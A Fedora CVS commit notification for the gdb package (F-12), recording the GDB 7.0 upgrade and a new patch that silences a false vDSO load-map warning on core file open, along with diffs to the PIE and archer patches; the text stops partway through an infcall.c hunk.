Subject: rpms/gdb/F-12 gdb-core-open-vdso-warning.patch, NONE, 1.1 .cvsignore,
	1.42, 1.43 gdb-6.3-pie-20050110.patch, 1.25,
	1.26 gdb-archer.patch, 1.33, 1.34 gdb.spec, 1.391, 1.392 sources,
	1.41, 1.42
Message-ID: <20091007191720.75A9711C00E6@cvs1.fedora.phx.redhat.com>

Author: jkratoch

Update of /cvs/pkgs/rpms/gdb/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4080

Modified Files:
	.cvsignore gdb-6.3-pie-20050110.patch gdb-archer.patch 
	gdb.spec sources 
Added Files:
	gdb-core-open-vdso-warning.patch 
Log Message:
* Wed Oct  7 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-1
- Formal upgrade to the final FSF GDB release gdb-7.0.
- Fix GNU/Linux core open: Can't read pathname for load map: Input/output error.
- archer-jankratochvil-fedora12 commit: ce4ead356654b951a49ca78d81ebfff95e758bf5


gdb-core-open-vdso-warning.patch:
 solib-svr4.c |   14 ++++++++++++--
 solib.c      |    7 +++++++
 2 files changed, 19 insertions(+), 2 deletions(-)

--- NEW FILE gdb-core-open-vdso-warning.patch ---
http://sourceware.org/ml/gdb-patches/2009-10/msg00142.html
Subject: [patch] Fix GNU/Linux core open: Can't read pathname for load map:  Input/output error.

Hi,

GDB currently always prints on loading a core file:
	warning: Can't read pathname for load map: Input/output error.

The patch is not nice but it was WONTFIXed on the glibc side in:
	http://sourceware.org/ml/libc-alpha/2009-10/msg00001.html

The same message in GDB PR 8882 and glibc PR 387 was for ld-linux.so.2 l_name
but that one is now ignored thanks to IGNORE_FIRST_LINK_MAP_ENTRY.

This fix is intended for Linux system vDSO l_name which is a second entry in
the DSO list.

Regression tested on {x86_86,x86_64-m32,i686}-fedora11-linux-gnu.


Thanks,
Jan


gdb/
2009-10-06  Jan Kratochvil  <jan.kratochvil at redhat.com>

	Do not print false warning on reading core file with vDSO on GNU/Linux.
	* solib-svr4.c (svr4_current_sos): Suppress the warning if
	MASTER_SO_LIST is still NULL.
	* solib.c (update_solib_list): New variable saved_so_list_head.
	Conditionally restart the function.

[ Context backport.  ]

--- a/gdb/solib-svr4.c
+++ b/gdb/solib-svr4.c
@@ -1097,8 +1097,18 @@ svr4_current_sos (void)
 	  target_read_string (LM_NAME (new), &buffer,
 			      SO_NAME_MAX_PATH_SIZE - 1, &errcode);
 	  if (errcode != 0)
-	    warning (_("Can't read pathname for load map: %s."),
-		     safe_strerror (errcode));
+	    {
+	      /* During the first ever DSO list reading some strings may be
+		 unreadable as residing in the ld.so readonly memory not being
+		 present in a dumped core file.  Delay the error check after
+		 the first pass of DSO list scanning when ld.so should be
+		 already mapped in and all the DSO list l_name memory gets
+		 readable.  */
+
+	      if (master_so_list () != NULL)
+		warning (_("Can't read pathname for load map: %s."),
+			 safe_strerror (errcode));
+	    }
 	  else
 	    {
 	      struct build_id *build_id;
--- a/gdb/solib.c
+++ b/gdb/solib.c
@@ -538,6 +538,7 @@ update_solib_list (int from_tty, struct target_ops *target)
   struct target_so_ops *ops = solib_ops (target_gdbarch);
   struct so_list *inferior = ops->current_sos();
   struct so_list *gdb, **gdb_link;
+  struct so_list *saved_so_list_head = so_list_head;
 
   /* We can reach here due to changing solib-search-path or the
      sysroot, before having any inferior.  */
@@ -668,6 +669,12 @@ update_solib_list (int from_tty, struct target_ops *target)
 	  observer_notify_solib_loaded (i);
 	}
     }
+
+  /* If this was the very first DSO list scan and we possibly read in ld.so
+     recheck all the formerly unreadable DSO names strings.  */
+
+  if (saved_so_list_head == NULL && so_list_head != NULL)
+    update_solib_list (from_tty, target);
 }
 
 



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gdb/F-12/.cvsignore,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- .cvsignore	30 Sep 2009 21:02:25 -0000	1.42
+++ .cvsignore	7 Oct 2009 19:17:19 -0000	1.43
@@ -1,2 +1,2 @@
 libstdc++-v3-python-r151798.tar.xz
-gdb-6.8.91.20090930.tar.bz2
+gdb-7.0.tar.bz2

gdb-6.3-pie-20050110.patch:
 amd64-tdep.c  |   71 +++++++-
 auxv.c        |   24 +-
 auxv.h        |    4 
 dwarf2read.c  |    2 
 elfread.c     |    2 
 infcmd.c      |    3 
 infrun.c      |    4 
 linux-tdep.c  |    2 
 objfiles.c    |   11 +
 solib-svr4.c  |  505 ++++++++++++++++++++++++++++++++++++++++++++++++----------
 solib.c       |   83 +++++++--
 solist.h      |    8 
 symfile-mem.c |    2 
 symfile.c     |   23 +-
 symfile.h     |    8 
 target.h      |    2 
 16 files changed, 628 insertions(+), 126 deletions(-)

Index: gdb-6.3-pie-20050110.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdb/F-12/gdb-6.3-pie-20050110.patch,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- gdb-6.3-pie-20050110.patch	25 Sep 2009 11:06:47 -0000	1.25
+++ gdb-6.3-pie-20050110.patch	7 Oct 2009 19:17:19 -0000	1.26
@@ -705,7 +705,7 @@ Index: gdb-6.8.91.20090925/gdb/solib-svr
  			      SO_NAME_MAX_PATH_SIZE - 1, &errcode);
  	  if (errcode != 0)
 @@ -1101,63 +1336,76 @@ svr4_current_sos (void)
- 		     safe_strerror (errcode));
+ 	    }
  	  else
  	    {
 -	      struct build_id *build_id;

gdb-archer.patch:
 Makefile.in                                              |   92 
 NEWS                                                     |    7 
 ada-lang.c                                               |   43 
 amd64-linux-nat.c                                        |   45 
 block.c                                                  |   24 
 block.h                                                  |   12 
 breakpoint.c                                             |  763 ++++--
 breakpoint.h                                             |   21 
 c-exp.y                                                  |  240 ++
 c-lang.c                                                 |    6 
 c-typeprint.c                                            |   47 
 cli/cli-cmds.c                                           |   72 
 coffread.c                                               |    3 
 config.in                                                |    8 
 config/i386/nm-i386.h                                    |  125 +
 config/i386/nm-linux64.h                                 |   54 
 config/mips/nm-irix5.h                                   |   44 
 configure                                                |   76 
 configure.ac                                             |   47 
 cp-name-parser.y                                         |    5 
 cp-namespace.c                                           |  281 +-
 cp-support.c                                             |  123 +
 cp-support.h                                             |   50 
 dbxread.c                                                |    1 
 doc/gdb.texinfo                                          |  438 +++
 doc/gdbint.texinfo                                       |   62 
 doc/observer.texi                                        |    5 
 dwarf2-frame.c                                           |    9 
 dwarf2expr.c                                             |    7 
 dwarf2expr.h                                             |    2 
 dwarf2loc.c                                              |  227 +
 dwarf2loc.h                                              |    6 
 dwarf2read.c                                             | 1758 ++++++++++-----
 elfread.c                                                |   11 
 eval.c                                                   |  170 +
 expression.h                                             |   11 
 f-exp.y                                                  |    4 
 f-lang.c                                                 |  457 ---
 f-lang.h                                                 |   45 
 f-typeprint.c                                            |   36 
 f-valprint.c                                             |  267 --
 findcmd.c                                                |  111 
 findvar.c                                                |  126 -
 frame.c                                                  |    8 
 gdbinit.in                                               |   10 
 gdbserver/linux-i386-low.c                               |  210 +
 gdbserver/linux-x86-64-low.c                             |  184 +
 gdbthread.h                                              |    7 
 gdbtypes.c                                               |  599 ++++-
 gdbtypes.h                                               |  146 +
 gnu-v3-abi.c                                             |   18 
 i386-linux-nat.c                                         |   47 
 i386-nat.c                                               |   49 
 i386-nat.h                                               |   17 
 infcall.c                                                |    8 
 infcmd.c                                                 |   34 
 inferior.h                                               |    2 
 infrun.c                                                 |  190 +
 jv-lang.c                                                |    1 
 language.h                                               |    1 
 linespec.c                                               |   73 
 linux-nat.c                                              |   88 
 linux-nat.h                                              |    6 
 m2-lang.c                                                |    1 
 machoread.c                                              |    1 
 main.c                                                   |   80 
 maint.c                                                  |    8 
 mdebugread.c                                             |    2 
 mi/mi-cmd-var.c                                          |    1 
 mi/mi-main.c                                             |    2 
 mipsread.c                                               |    1 
 objfiles.c                                               |   14 
 objfiles.h                                               |   21 
 parse.c                                                  |  154 +
 parser-defs.h                                            |   25 
 ppc-linux-nat.c                                          |   19 
 printcmd.c                                               |   90 
 python/lib/gdb/FrameIterator.py                          |   33 
 python/lib/gdb/FrameWrapper.py                           |  112 
 python/lib/gdb/__init__.py                               |   19 
 python/lib/gdb/backtrace.py                              |   42 
 python/lib/gdb/command/__init__.py                       |    1 
 python/lib/gdb/command/alias.py                          |   59 
 python/lib/gdb/command/backtrace.py                      |  106 
 python/lib/gdb/command/ignore_errors.py                  |   37 
 python/lib/gdb/command/pahole.py                         |   75 
 python/lib/gdb/command/require.py                        |   57 
 python/lib/gdb/command/save_breakpoints.py               |   65 
 python/lib/gdb/command/upto.py                           |  129 +
 python/lib/gdb/function/__init__.py                      |    1 
 python/lib/gdb/function/caller_is.py                     |   58 
 python/lib/gdb/function/in_scope.py                      |   47 
 python/py-block.c                                        |  265 ++
 python/py-breakpoint.c                                   |  665 +++++
 python/py-cmd.c                                          |   17 
 python/py-frame.c                                        |  116 
 python/py-hooks.c                                        |   50 
 python/py-inferior.c                                     |  926 +++++++
 python/py-infthread.c                                    |  285 ++
 python/py-membuf.c                                       |  268 ++
 python/py-param.c                                        |  606 +++++
 python/py-prettyprint.c                                  |   21 
 python/py-symbol.c                                       |  336 ++
 python/py-symtab.c                                       |  322 ++
 python/py-type.c                                         |  170 +
 python/py-utils.c                                        |   46 
 python/py-value.c                                        |   55 
 python/python-internal.h                                 |   69 
 python/python.c                                          |  384 +++
 python/python.h                                          |    4 
 scm-lang.c                                               |    1 
 scm-valprint.c                                           |    4 
 solib-darwin.c                                           |    1 
 solib-spu.c                                              |    7 
 solib-svr4.c                                             |    4 
 solib.c                                                  |    3 
 solist.h                                                 |    2 
 somread.c                                                |    1 
 spu-tdep.c                                               |    2 
 stabsread.c                                              |    4 
 stack.c                                                  |   38 
 symfile.c                                                |   37 
 symfile.h                                                |   12 
 symmisc.c                                                |    4 
 symtab.c                                                 |  321 +-
 symtab.h                                                 |   20 
 target.c                                                 |   20 
 target.h                                                 |   41 
 testsuite/gdb.arch/powerpc-power7.exp                    |  175 +
 testsuite/gdb.arch/powerpc-power7.s                      |  107 
 testsuite/gdb.arch/x86_64-vla-typedef-foo.S              |  455 +++
 testsuite/gdb.arch/x86_64-vla-typedef.c                  |   43 
 testsuite/gdb.arch/x86_64-vla-typedef.exp                |   64 
 testsuite/gdb.base/arrayidx.c                            |    7 
 testsuite/gdb.base/arrayidx.exp                          |   10 
 testsuite/gdb.base/help.exp                              |    2 
 testsuite/gdb.base/lineno-makeup-func.c                  |   21 
 testsuite/gdb.base/lineno-makeup.c                       |   35 
 testsuite/gdb.base/lineno-makeup.exp                     |   78 
 testsuite/gdb.base/macscp.exp                            |    8 
 testsuite/gdb.base/radix.exp                             |    7 
 testsuite/gdb.base/valgrind-attach.c                     |   28 
 testsuite/gdb.base/valgrind-attach.exp                   |   94 
 testsuite/gdb.base/valgrind-attach.sh                    |   20 
 testsuite/gdb.base/vla-overflow.c                        |   30 
 testsuite/gdb.base/vla-overflow.exp                      |  108 
 testsuite/gdb.base/vla.c                                 |   55 
 testsuite/gdb.base/vla.exp                               |   62 
 testsuite/gdb.base/watchpoint-hw.c                       |    6 
 testsuite/gdb.base/watchpoint-hw.exp                     |   45 
 testsuite/gdb.cp/Makefile.in                             |    2 
 testsuite/gdb.cp/cp-relocate.exp                         |    6 
 testsuite/gdb.cp/cplusfuncs.cc                           |   10 
 testsuite/gdb.cp/cplusfuncs.exp                          |  225 +
 testsuite/gdb.cp/expand-sals.exp                         |    2 
 testsuite/gdb.cp/gdb9593.cc                              |  180 +
 testsuite/gdb.cp/gdb9593.exp                             |  185 +
 testsuite/gdb.cp/member-ptr.cc                           |   17 
 testsuite/gdb.cp/member-ptr.exp                          |   34 
 testsuite/gdb.cp/namespace-multiple-imports.cc           |   20 
 testsuite/gdb.cp/namespace-multiple-imports.exp          |   49 
 testsuite/gdb.cp/namespace-nested-imports.cc             |   36 
 testsuite/gdb.cp/namespace-nested-imports.exp            |   57 
 testsuite/gdb.cp/namespace-no-imports.cc                 |   37 
 testsuite/gdb.cp/namespace-no-imports.exp                |   76 
 testsuite/gdb.cp/namespace-recursive.cc                  |   47 
 testsuite/gdb.cp/namespace-recursive.exp                 |   75 
 testsuite/gdb.cp/namespace-stress.cc                     |   60 
 testsuite/gdb.cp/namespace-stress.exp                    |   50 
 testsuite/gdb.cp/namespace-using.cc                      |  128 -
 testsuite/gdb.cp/namespace-using.exp                     |  132 +
 testsuite/gdb.cp/namespace.exp                           |   23 
 testsuite/gdb.cp/overload.exp                            |    8 
 testsuite/gdb.cp/ovldbreak.exp                           |   46 
 testsuite/gdb.cp/shadowing.cc                            |   48 
 testsuite/gdb.cp/shadowing.exp                           |   91 
 testsuite/gdb.dwarf2/dw2-aranges.S                       |  140 +
 testsuite/gdb.dwarf2/dw2-aranges.exp                     |   40 
 testsuite/gdb.dwarf2/dw2-stripped.c                      |   42 
 testsuite/gdb.dwarf2/dw2-stripped.exp                    |   79 
 testsuite/gdb.dwarf2/dw2-struct-member-data-location.S   |   83 
 testsuite/gdb.dwarf2/dw2-struct-member-data-location.exp |   37 
 testsuite/gdb.fortran/common-block.exp                   |  101 
 testsuite/gdb.fortran/common-block.f90                   |   67 
 testsuite/gdb.fortran/dwarf-stride.exp                   |   42 
 testsuite/gdb.fortran/dwarf-stride.f90                   |   40 
 testsuite/gdb.fortran/dynamic.exp                        |  145 +
 testsuite/gdb.fortran/dynamic.f90                        |   98 
 testsuite/gdb.fortran/library-module-lib.f90             |   28 
 testsuite/gdb.fortran/library-module-main.f90            |   23 
 testsuite/gdb.fortran/library-module.exp                 |   53 
 testsuite/gdb.fortran/logical.exp                        |   44 
 testsuite/gdb.fortran/logical.f90                        |   33 
 testsuite/gdb.fortran/module.exp                         |   28 
 testsuite/gdb.fortran/module.f90                         |   37 
 testsuite/gdb.fortran/string.exp                         |   59 
 testsuite/gdb.fortran/string.f90                         |   37 
 testsuite/gdb.gdb/selftest.exp                           |    4 
 testsuite/gdb.java/jnpe.exp                              |   72 
 testsuite/gdb.java/jnpe.java                             |   38 
 testsuite/gdb.opt/array-from-register-func.c             |   22 
 testsuite/gdb.opt/array-from-register.c                  |   28 
 testsuite/gdb.opt/array-from-register.exp                |   33 
 testsuite/gdb.opt/fortran-string.exp                     |   41 
 testsuite/gdb.opt/fortran-string.f90                     |   28 
 testsuite/gdb.python/py-cmd.exp                          |   27 
 testsuite/gdb.python/py-frame.exp                        |   48 
 testsuite/gdb.python/py-function.exp                     |   27 
 testsuite/gdb.python/py-inferior.c                       |   49 
 testsuite/gdb.python/py-inferior.exp                     |  201 +
 testsuite/gdb.python/py-infthread.c                      |   14 
 testsuite/gdb.python/py-infthread.exp                    |   58 
 testsuite/gdb.python/py-prettyprint.exp                  |   22 
 testsuite/gdb.python/py-template.exp                     |   25 
 testsuite/gdb.python/py-value.exp                        |   31 
 testsuite/gdb.python/python.exp                          |   27 
 testsuite/gdb.threads/watchpoint-fork-forkoff.c          |  175 +
 testsuite/gdb.threads/watchpoint-fork-mt.c               |  157 +
 testsuite/gdb.threads/watchpoint-fork.c                  |   57 
 testsuite/gdb.threads/watchpoint-fork.exp                |  130 +
 testsuite/gdb.threads/watchthreads-reorder.c             |  366 +++
 testsuite/gdb.threads/watchthreads-reorder.exp           |  105 
 testsuite/lib/cp-support.exp                             |    3 
 testsuite/lib/gdb.exp                                    |    1 
 testsuite/lib/python-support.exp                         |   53 
 thread.c                                                 |   18 
 top.c                                                    |    1 
 typeprint.c                                              |   14 
 typeprint.h                                              |    3 
 ui-file.c                                                |   20 
 ui-file.h                                                |    6 
 utils.c                                                  |    7 
 valarith.c                                               |   45 
 valops.c                                                 |  258 +-
 valprint.c                                               |    4 
 value.c                                                  |  150 +
 value.h                                                  |    8 
 varobj.c                                                 |   76 
 xcoffread.c                                              |    1 
 239 files changed, 18397 insertions(+), 2442 deletions(-)

Index: gdb-archer.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdb/F-12/gdb-archer.patch,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- gdb-archer.patch	30 Sep 2009 21:02:25 -0000	1.33
+++ gdb-archer.patch	7 Oct 2009 19:17:19 -0000	1.34
@@ -2,7 +2,7 @@ http://sourceware.org/gdb/wiki/ProjectAr
 http://sourceware.org/gdb/wiki/ArcherBranchManagement
 
 GIT snapshot:
-commit 7cb860f03e2437c97239334ebe240d06f45723e0
+commit ce4ead356654b951a49ca78d81ebfff95e758bf5
 
 branch `archer' - the merge of branches:
 archer-tromey-call-frame-cfa
@@ -19,12 +19,12 @@ archer-pmuldoon-next-over-throw
 
 
 diff --git a/gdb/Makefile.in b/gdb/Makefile.in
-index f5e1dde..73ee55c 100644
+index 7d53205..319fac4 100644
 --- a/gdb/Makefile.in
 +++ b/gdb/Makefile.in
 @@ -169,6 +169,10 @@ TARGET_SYSTEM_ROOT_DEFINE = @TARGET_SYSTEM_ROOT_DEFINE@
  # Did the user give us a --with-gdb-datadir option?
- GDB_DATADIR_PATH = @GDB_DATADIR_PATH@
+ GDB_DATADIR = @GDB_DATADIR@
  
 +# The argument to --with-pythondir.  If not given, this is
 +# GDB_DATADIR_PATH/python.
@@ -194,10 +194,10 @@ index f5e1dde..73ee55c 100644
  # Dependency tracking.  Most of this is conditional on GNU Make being
  # found by configure; if GNU Make is not found, we fall back to a
 diff --git a/gdb/NEWS b/gdb/NEWS
-index 4fc6dcd..6744b23 100644
+index 8d32c34..f7ea21b 100644
 --- a/gdb/NEWS
 +++ b/gdb/NEWS
-@@ -462,6 +462,13 @@ x86/x86_64 Darwin		i[34567]86-*-darwin*
+@@ -476,6 +476,13 @@ x86/x86_64 Darwin		i[34567]86-*-darwin*
  
  x86_64 MinGW			x86_64-*-mingw*
  
@@ -290,7 +290,7 @@ index 9b5d2c6..61676a9 100644
    ada_dump_subexp_body,
    ada_evaluate_subexp
 diff --git a/gdb/amd64-linux-nat.c b/gdb/amd64-linux-nat.c
-index 7d8461c..a6d35d7 100644
+index 7d8461c..fc4b3e0 100644
 --- a/gdb/amd64-linux-nat.c
 +++ b/gdb/amd64-linux-nat.c
 @@ -270,6 +270,8 @@ amd64_linux_dr_get (ptid_t ptid, int regnum)
@@ -340,7 +340,7 @@ index 7d8461c..a6d35d7 100644
    return amd64_linux_dr_get (inferior_ptid, DR_STATUS);
  }
  
-+/* Unset VALUE bits in DR_STATUS in all LWPs of LWP_LIST.  */
++/* Unset MASK bits in DR_STATUS in all LWPs of LWP_LIST.  */
 +
 +static void
 +amd64_linux_dr_unset_status (unsigned long mask)
@@ -2900,7 +2900,7 @@ index 0000000..49ac420
 +#define TARGET_REGION_SIZE_OK_FOR_HW_WATCHPOINT(SIZE) 1
 +
 diff --git a/gdb/configure b/gdb/configure
-index 99acc2f..a2ea1ae 100755
+index 46e7bfe..ea667f0 100755
 --- a/gdb/configure
 +++ b/gdb/configure
 @@ -676,6 +676,8 @@ REPORT_BUGS_TO
@@ -3015,7 +3015,7 @@ index 99acc2f..a2ea1ae 100755
  
    # Flags needed to compile Python code (taken from python-config --cflags).
 diff --git a/gdb/configure.ac b/gdb/configure.ac
-index b31d9b7..a1969bc 100644
+index 0e42182..e7f97cf 100644
 --- a/gdb/configure.ac
 +++ b/gdb/configure.ac
 @@ -107,6 +107,51 @@ AS_HELP_STRING([--with-relocated-sources=PATH], [automatically relocate this pat
@@ -3832,7 +3832,7 @@ index 7cb016d..bb9e35a 100644
    default_symfile_offsets, /* sym_offsets: parse user's offsets to
  			      internal form */
 diff --git a/gdb/doc/gdb.texinfo b/gdb/doc/gdb.texinfo
-index f16b6e2..fe328c7 100644
+index 1f98fa5..9e24482 100644
 --- a/gdb/doc/gdb.texinfo
 +++ b/gdb/doc/gdb.texinfo
 @@ -959,8 +959,10 @@ Connect to process ID @var{number}, as with the @code{attach} command.
@@ -3865,7 +3865,7 @@ index f16b6e2..fe328c7 100644
  @c resolve the situation of these eventually
  @item -tui
  @cindex @code{--tui}
-@@ -18650,7 +18662,7 @@ command:
+@@ -18660,7 +18672,7 @@ command:
  @table @code
  @kindex source
  @cindex execute commands from a file
@@ -3874,7 +3874,7 @@ index f16b6e2..fe328c7 100644
  Execute the command file @var{filename}.
  @end table
  
-@@ -18667,6 +18679,11 @@ If @code{-v}, for verbose mode, is given then @value{GDBN} displays
+@@ -18677,6 +18689,11 @@ If @code{-v}, for verbose mode, is given then @value{GDBN} displays
  each command as it is executed.  The option must be given before
  @var{filename}, and is interpreted as part of the filename anywhere else.
  
@@ -3886,7 +3886,7 @@ index f16b6e2..fe328c7 100644
  Commands that would ask for confirmation if used interactively proceed
  without asking when used in a command file.  Many @value{GDBN} commands that
  normally print messages to say what they are doing omit the messages
-@@ -18928,8 +18945,6 @@ containing @code{end}.  For example:
+@@ -18938,8 +18955,6 @@ containing @code{end}.  For example:
  
  @smallexample
  (@value{GDBP}) python
@@ -3895,7 +3895,7 @@ index f16b6e2..fe328c7 100644
  >print 23
  >end
  23
-@@ -18942,6 +18957,14 @@ in a Python script.  This can be controlled using @code{maint set
+@@ -18952,6 +18967,14 @@ in a Python script.  This can be controlled using @code{maint set
  python print-stack}: if @code{on}, the default, then Python stack
  printing is enabled; if @code{off}, then Python stack printing is
  disabled.
@@ -3910,7 +3910,7 @@ index f16b6e2..fe328c7 100644
  @end table
  
  @node Python API
-@@ -18949,6 +18972,14 @@ disabled.
+@@ -18959,6 +18982,14 @@ disabled.
  @cindex python api
  @cindex programming in python
  
@@ -3925,7 +3925,7 @@ index f16b6e2..fe328c7 100644
  @cindex python stdout
  @cindex python pagination
  At startup, @value{GDBN} overrides Python's @code{sys.stdout} and
-@@ -18961,13 +18992,17 @@ situation, a Python @code{KeyboardInterrupt} exception is thrown.
+@@ -18971,13 +19002,17 @@ situation, a Python @code{KeyboardInterrupt} exception is thrown.
  * Basic Python::                Basic Python Functions.
  * Exception Handling::
  * Auto-loading::                Automatically loading Python code.
@@ -3944,7 +3944,7 @@ index f16b6e2..fe328c7 100644
  * Frames In Python::            Acessing inferior stack frames from Python.
  @end menu
  
-@@ -18994,6 +19029,12 @@ command as having originated from the user invoking it interactively.
+@@ -19004,6 +19039,12 @@ command as having originated from the user invoking it interactively.
  It must be a boolean value.  If omitted, it defaults to @code{False}.
  @end defun
  
@@ -3957,7 +3957,7 @@ index f16b6e2..fe328c7 100644
  @findex gdb.parameter
  @defun parameter parameter
  Return the value of a @value{GDBN} parameter.  @var{parameter} is a
-@@ -19010,6 +19051,7 @@ a Python value of the appropriate type, and returned.
+@@ -19020,6 +19061,7 @@ a Python value of the appropriate type, and returned.
  @defun history number
  Return a value from @value{GDBN}'s value history (@pxref{Value
  History}).  @var{number} indicates which history element to return.
@@ -3965,7 +3965,7 @@ index f16b6e2..fe328c7 100644
  If @var{number} is negative, then @value{GDBN} will take its absolute value
  and count backward from the last element (i.e., the most recent element) to
  find the value to return.  If @var{number} is zero, then @value{GDBN} will
-@@ -19021,6 +19063,28 @@ If no exception is raised, the return value is always an instance of
+@@ -19031,6 +19073,28 @@ If no exception is raised, the return value is always an instance of
  @code{gdb.Value} (@pxref{Values From Inferior}).
  @end defun
  
@@ -3994,7 +3994,7 @@ index f16b6e2..fe328c7 100644
  @findex gdb.write
  @defun write string
  Print a string to @value{GDBN}'s paginated standard output stream.
-@@ -19035,6 +19099,11 @@ Flush @value{GDBN}'s paginated standard output stream.  Flushing
+@@ -19045,6 +19109,11 @@ Flush @value{GDBN}'s paginated standard output stream.  Flushing
  function.
  @end defun
  
@@ -4006,7 +4006,7 @@ index f16b6e2..fe328c7 100644
  @node Exception Handling
  @subsubsection Exception Handling
  @cindex python exceptions
-@@ -19171,6 +19240,13 @@ The type of this @code{gdb.Value}.  The value of this attribute is a
+@@ -19181,6 +19250,13 @@ The type of this @code{gdb.Value}.  The value of this attribute is a
  The following methods are provided:
  
  @table @code
@@ -4020,7 +4020,7 @@ index f16b6e2..fe328c7 100644
  @defmethod Value dereference
  For pointer data types, this method returns a new @code{gdb.Value} object
  whose contents is the object pointed to by the pointer.  For example, if
-@@ -19242,6 +19318,9 @@ module:
+@@ -19252,6 +19328,9 @@ module:
  This function looks up a type by name.  @var{name} is the name of the
  type to look up.  It must be a string.
  
@@ -4030,7 +4030,7 @@ index f16b6e2..fe328c7 100644
  Ordinarily, this function will return an instance of @code{gdb.Type}.
  If the named type cannot be found, it will throw an exception.
  @end defun
-@@ -19294,6 +19373,12 @@ This is @code{True} if the field is artificial, usually meaning that
+@@ -19304,6 +19383,12 @@ This is @code{True} if the field is artificial, usually meaning that
  it was provided by the compiler and not the user.  This attribute is
  always provided, and is @code{False} if the field is not artificial.
  
@@ -4043,7 +4043,7 @@ index f16b6e2..fe328c7 100644
  @item bitsize
  If the field is packed, or is a bitfield, then this will have a
  non-zero value, which is the size of the field in bits.  Otherwise,
-@@ -19346,7 +19431,7 @@ If the type does not have a target, this method will throw an
+@@ -19356,7 +19441,7 @@ If the type does not have a target, this method will throw an
  exception.
  @end defmethod
  
@@ -4052,7 +4052,7 @@ index f16b6e2..fe328c7 100644
  If this @code{gdb.Type} is an instantiation of a template, this will
  return a new @code{gdb.Type} which represents the type of the
  @var{n}th template argument.
-@@ -19354,7 +19439,8 @@ return a new @code{gdb.Type} which represents the type of the
+@@ -19364,7 +19449,8 @@ return a new @code{gdb.Type} which represents the type of the
  If this @code{gdb.Type} is not a template type, this will throw an
  exception.  Ordinarily, only C at t{++} code will have template types.
  
@@ -4062,7 +4062,7 @@ index f16b6e2..fe328c7 100644
  @end defmethod
  @end table
  
-@@ -19708,6 +19794,121 @@ import gdb.libstdcxx.v6
+@@ -19718,6 +19804,121 @@ import gdb.libstdcxx.v6
  gdb.libstdcxx.v6.register_printers (gdb.current_objfile ())
  @end smallexample
  
@@ -4184,7 +4184,7 @@ index f16b6e2..fe328c7 100644
  @node Commands In Python
  @subsubsection Commands In Python
  
-@@ -19960,6 +20161,135 @@ registration of the command with @value{GDBN}.  Depending on how the
+@@ -19970,6 +20171,135 @@ registration of the command with @value{GDBN}.  Depending on how the
  Python code is read into @value{GDBN}, you may need to import the
  @code{gdb} module explicitly.
  
@@ -4320,7 +4320,7 @@ index f16b6e2..fe328c7 100644
  @node Functions In Python
  @subsubsection Writing new convenience functions
  
-@@ -20064,6 +20394,82 @@ which is used to format the value.  @xref{Pretty Printing}, for more
+@@ -20074,6 +20404,82 @@ which is used to format the value.  @xref{Pretty Printing}, for more
  information.
  @end defivar
  
@@ -4403,7 +4403,7 @@ index f16b6e2..fe328c7 100644
  @node Frames In Python
  @subsubsection Acessing inferior stack frames from Python.
  
-@@ -20128,6 +20534,14 @@ function to a string.
+@@ -20138,6 +20544,14 @@ function to a string.
  Returns the frame's resume address.
  @end defmethod
  
@@ -4418,7 +4418,7 @@ index f16b6e2..fe328c7 100644
  @defmethod Frame older
  Return the frame that called this frame.
  @end defmethod
-@@ -20136,10 +20550,18 @@ Return the frame that called this frame.
+@@ -20146,10 +20560,18 @@ Return the frame that called this frame.
  Return the frame called by this frame.
  @end defmethod
  
@@ -10995,7 +10995,7 @@ index 0f9d44e..c910e88 100644
    /* We didn't find it; print the raw data.  */
    if (vbit)
 diff --git a/gdb/i386-linux-nat.c b/gdb/i386-linux-nat.c
-index fe848ff..170e6cd 100644
+index fe848ff..905dcc3 100644
 --- a/gdb/i386-linux-nat.c
 +++ b/gdb/i386-linux-nat.c
 @@ -586,6 +586,8 @@ i386_linux_store_inferior_registers (struct target_ops *ops,
@@ -11054,7 +11054,7 @@ index fe848ff..170e6cd 100644
    return i386_linux_dr_get (inferior_ptid, DR_STATUS);
  }
  
-+/* Unset VALUE bits in DR_STATUS in all LWPs of LWP_LIST.  */
++/* Unset MASK bits in DR_STATUS in all LWPs of LWP_LIST.  */
 +
 +static void
 +i386_linux_dr_unset_status (unsigned long mask)
@@ -11100,7 +11100,7 @@ index fe848ff..170e6cd 100644
  
    /* Override the default ptrace resume method.  */
 diff --git a/gdb/i386-nat.c b/gdb/i386-nat.c
-index ab1bd8a..ee330b8 100644
+index 325b4df..631ccd6 100644
 --- a/gdb/i386-nat.c
 +++ b/gdb/i386-nat.c
 @@ -137,8 +137,11 @@ struct i386_dr_low_type i386_dr_low;
@@ -11157,7 +11157,7 @@ index ab1bd8a..ee330b8 100644
  /* Return non-zero if we can watch a memory region that starts at
     address ADDR and whose length is LEN bytes.  */
  
-@@ -575,28 +598,7 @@ static int
+@@ -578,28 +601,7 @@ static int
  i386_stopped_by_watchpoint (void)
  {
    CORE_ADDR addr = 0;
@@ -11187,7 +11187,7 @@ index ab1bd8a..ee330b8 100644
  }
  
  /* Insert a hardware-assisted breakpoint at BP_TGT->placed_address.
-@@ -690,6 +692,7 @@ i386_use_watchpoints (struct target_ops *t)
+@@ -693,6 +695,7 @@ i386_use_watchpoints (struct target_ops *t)
    t->to_stopped_data_address = i386_stopped_data_address;
    t->to_insert_watchpoint = i386_insert_watchpoint;
    t->to_remove_watchpoint = i386_remove_watchpoint;
@@ -11236,6 +11236,39 @@ index f49b9f6..cd31958 100644
      int debug_register_length;
    };
  
+diff --git a/gdb/infcall.c b/gdb/infcall.c
+index c9d98cf..277399a 100644
+--- a/gdb/infcall.c
++++ b/gdb/infcall.c
+@@ -441,6 +441,7 @@ call_function_by_hand (struct value *function, int nargs, struct value **args)
+   struct gdbarch *gdbarch;
+   struct breakpoint *terminate_bp = NULL;
+   struct minimal_symbol *tm;
++  struct cleanup *terminate_bp_cleanup = NULL;
+   ptid_t call_thread_ptid;
+   struct gdb_exception e;
+   const char *name;
+@@ -772,7 +773,7 @@ call_function_by_hand (struct value *function, int nargs, struct value **args)
+ 
+   /* Register a clean-up for unwind_on_terminating_exception_breakpoint.  */
+   if (terminate_bp)
